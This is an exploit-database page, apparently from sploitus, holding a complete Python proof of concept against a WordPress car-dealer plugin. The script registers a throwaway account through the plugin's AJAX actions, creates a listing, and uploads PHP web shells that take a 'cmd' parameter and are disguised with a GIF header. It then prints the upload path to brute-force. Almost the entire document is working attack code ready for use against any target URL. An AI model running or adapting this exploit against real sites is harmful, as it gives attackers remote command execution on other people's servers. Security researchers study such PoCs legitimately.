Share
## https://sploitus.com/exploit?id=WPEX-ID:1BD20329-F3A5-466D-81B0-E4FF0CA32091
This PoC was tested against a local WordPress 6.1 instance with the vulnerable plugin installed in it's default configuration.
You should only need to change the BASE_URL, the rest should work as is.



import sys
import io
import random
import string
import binascii
import datetime

import requests


BASE_URL = "http://127.0.0.1:7777"
ADMIN_AJAX_URL = BASE_URL + "/wp-admin/admin-ajax.php"
USERNAME = "".join(random.choices(string.ascii_lowercase, k=10))
PASSWORD = "".join(random.choices(string.ascii_lowercase, k=16))
EMAIL = USERNAME + "@example.com"
PAYLOAD = b"<?php passthru($_GET['cmd']); ?>"
GIF_PREFIX = binascii.unhexlify("4749463839610f000f00f30d0000")


with requests.Session() as session:

    # Register a new user.
    print(f"[*] Registering new user: {USERNAME}:{PASSWORD} ...")
    try:
        response = session.post(
            ADMIN_AJAX_URL,
            data={
                "action": "stm_custom_register",
                "stm_nickname": USERNAME,
                "stm_user_mail": EMAIL,
                "stm_user_password": PASSWORD,
            },
        )
        message = response.json()["message"]
        if "Congratulations! You have been successfully registered" in message:
            print("[+] Successfully registered new user.")
        if "Sorry, that username already exists!" in message:
            print("[-] Registration failed, user already exists.")
            exit(1)
    except Exception as e:
        print("[-] Registration failed!")
        exit(1)

    # Authenticate
    try:
        response = session.post(
            ADMIN_AJAX_URL,
            data={
                "action": "stm_custom_login",
                "stm_user_login": USERNAME,
                "stm_user_password": PASSWORD,
            },
        )
        if "Successfully logged in" in response.json()["message"]:
            print("[+] Authenticated.")
    except Exception as e:
        print("[-] Login failed")
        print(e)
        exit(1)

    # Create listing
    try:
        print("[*] Creating car listing...")
        response = session.post(
            ADMIN_AJAX_URL,
            data={
                "action": "stm_ajax_add_a_car",
                "stm_car_main_title": "".join(
                    random.choices(string.ascii_letters, k=12)
                ),
                "stm_car_price": str(random.randint(1000, 99999)),
            },
        )
        post_id = response.json()["post_id"]
        print(f"[+] Car listing created: post_id={post_id}")
    except Exception as e:
        print("[-] Failed to add listing.")
        exit(1)

    try:
        print("[*] Uploading payload...", file=sys.stderr)
        # ext = random.choice(["php", "gif"])
        response = session.post(
            ADMIN_AJAX_URL,
            data={
                "action": "stm_ajax_add_a_car_media",
                "post_id": post_id,
                "stm_edit": "update",
            },
            files={
                "files[0]": ("payload-1.php", io.BytesIO(GIF_PREFIX + PAYLOAD)),
                "files[1]": ("payload-2.php", io.BytesIO(GIF_PREFIX + PAYLOAD)),
                "files[2]": ("payload-3.php", io.BytesIO(GIF_PREFIX + PAYLOAD)),
                "files[3]": ("payload-4.php", io.BytesIO(GIF_PREFIX + PAYLOAD)),
                "files[4]": ("payload-5.php", io.BytesIO(GIF_PREFIX + PAYLOAD)),
            },
        )
        if "Car updated" in response.json()["message"]:
            print("[+] Payload uploaded")
            print(f"[*] You need to bruteforce 5 chars to discover your payload:")
            print(f"[*] Charset: 23456789ABCDEFHJKLMNPRTVWXYZabcdefghijklmnopqrstuvwxyz")
            date_dir = datetime.datetime.now().strftime("%Y/%m")
            print(f"[*] /wp-content/uploads/{date_dir}/post_id_{post_id}_?????.php")
    except Exception as e:
        print(response.json())
        print("[-] Failed to upload payload.")
        exit(1)